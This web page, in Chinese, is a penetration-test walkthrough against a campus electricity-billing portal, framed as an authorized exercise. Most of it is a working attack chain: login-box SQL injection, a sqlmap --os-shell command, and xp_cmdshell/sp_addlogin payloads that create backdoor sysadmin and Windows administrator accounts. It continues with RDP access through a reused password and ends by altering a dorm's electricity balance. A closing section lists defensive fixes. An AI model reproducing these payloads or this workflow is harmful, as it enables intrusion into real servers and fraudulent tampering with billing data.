Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> 電腦軟體教學 >> 電腦軟體介紹

校園電力系統滲透實戰記錄:從 SQL 注入到 SA 權限、修改電費餘額全過程

編輯:電腦軟體介紹

警示:本文記錄授權滲透測試/教學實驗過程,嚴禁未經書面授權對任何系統進行滲透測試。違反《網絡安全法》第 27 條、第 28 條將承擔刑事責任。

目標系統概況

  • 校園電費查詢門戶,ASPX 技術棧,MSSQL 後端。
  • 預設帳號 `guest/guest`,登入後輸入宿舍號查詢餘額。

階段一:發現注入點

  1. 登入框測試:`guest' + 't` → 密碼錯誤 → 字串拼接注入確認。
  2. 時間盲注驗證:`guest'; IF SYSTEM_USER='sa' WAITFOR DELAY '0:0:5'--` → 延遲 5 秒 → SA 權限確認。
  3. 丟入 sqlmap 自動化:
    sqlmap.py -r request.txt -p TextBox1 --dbs --os-shell
    獲取資料庫列表、SA 雜湊(未破解)、嘗試 `xp_cmdshell` 啟用。

階段二:提權與持久化

利用 SA 權限執行預存程序新增系統管理員帳號:

;exec master.dbo.sp_addlogin vgy95$,V_gy95;--
;exec master.dbo.sp_addsrvrolemember vgy95,sysadmin;--
;exec master..xp_cmdshell "net user vgy95$ V_gy95 /add";--
;exec master..xp_cmdshell "net localgroup administrators vgy95$ /add";--

成功獲取 MSSQL SA 權限與 Windows 本地 Administrators 群組帳號,可遠端桌面 (RDP) 登入伺服器。

階段三:定位電費資料表與業務邏輯逆向

  1. 資料庫 `ElecCtlData` → 表 `Pos` 存儲電費,欄位 `ElecLeft` 為餘額(單位:分,即實際度數 × 100)。
  2. 宿舍對應關係:`Dorm_Room_Info` 表 `ID=598` 對應 `Pos.ID=598`。
  3. 前端查詢邏輯逆向(反編譯 DLL / Reflector):
    SELECT ..., CAST(p.ElecLeft/100.0 AS DECIMAL(20,2)) AS '剩餘電量(度)' ...
    發現餘額存儲為「分」單位,前端除以 100 顯示。

階段四:修改資料遭遇事務回滾

直接執行 `UPDATE Pos SET ElecLeft=66666 WHERE ID=598` → 顯示成功,但查詢仍為原值。
啟用 SQL Server Profiler 追蹤 → 發現外部通訊程式持續寫入資料庫 → 隱性事務導致手動 UPDATE 被回滾。

階段五:橫向移動至伺服器桌面修改

  1. 嘗試 RDP 登入 `Administrator`,密碼未知。
  2. 翻閱網站 `web.config` 發現 SA 連線字串密碼 `mjmic****123` → 嘗試作為 Administrator 密碼 → 成功登入(密碼重用風險)。
  3. 桌面發現「電費管理系統」客戶端捷徑 → 以 Administrator 身分執行 → 介面提供充值/修改功能 → 成功修改宿舍 598 電費餘額。
  4. 驗證:網頁查詢顯示修改後數值,全校宿舍/路燈電費管理權限到手。

關鍵截圖(原文保留)

電費查詢門戶 登入框注入測試 抓包請求 資料庫列表 搜尋餘額無果 Pos表結構 UPDATE成功但未生效 查詢仍為原值 Profiler追蹤 通訊程式持續寫入 客戶端修改介面 修改成功 驗證修改 系統管理範圍 系統管理範圍2

藍隊防禦建議(根因修補)

  1. 參數化查詢/預存程序:徹底消除 SQL 注入根因。
  2. 最小權限原則:Web 應用資料庫帳號僅授予 `SELECT/INSERT/UPDATE` 特定表權限,嚴禁 SA/DBO/Admin。
  3. 停用危險預存程序:`xp_cmdshell`、`sp_OA*`、`sp_addlogin` 等,或以簽名存儲程序替代。
  4. 密碼策略:SA/Administrator/服務帳號強制獨立複雜密碼,定期輪換,禁止重用。
  5. 應用層業務驗證:電費修改需雙人審核/操作日誌/異常餘額變動告警。
  6. 資料庫審計:啟用 SQL Server Audit 記錄所有 DML/DDL/登入失敗,轉發至 SIEM。
  7. 網路隔離:資料庫伺服器僅允許應用伺服器 IP 存取,禁止直接對外/內網 RDP。

此案例展示了「Web 注入 → 資料庫提權 → 作業系統落地 → 業務邏輯逆向 → 事務回滾阻礙 → 橫向移動客戶端修改」的完整攻擊鏈。每一環若有任一防禦措施到位,攻擊鏈即可斷裂。纵深防禦,非單一點防護所能達成。

Copyright © Windows教程網 All Rights Reserved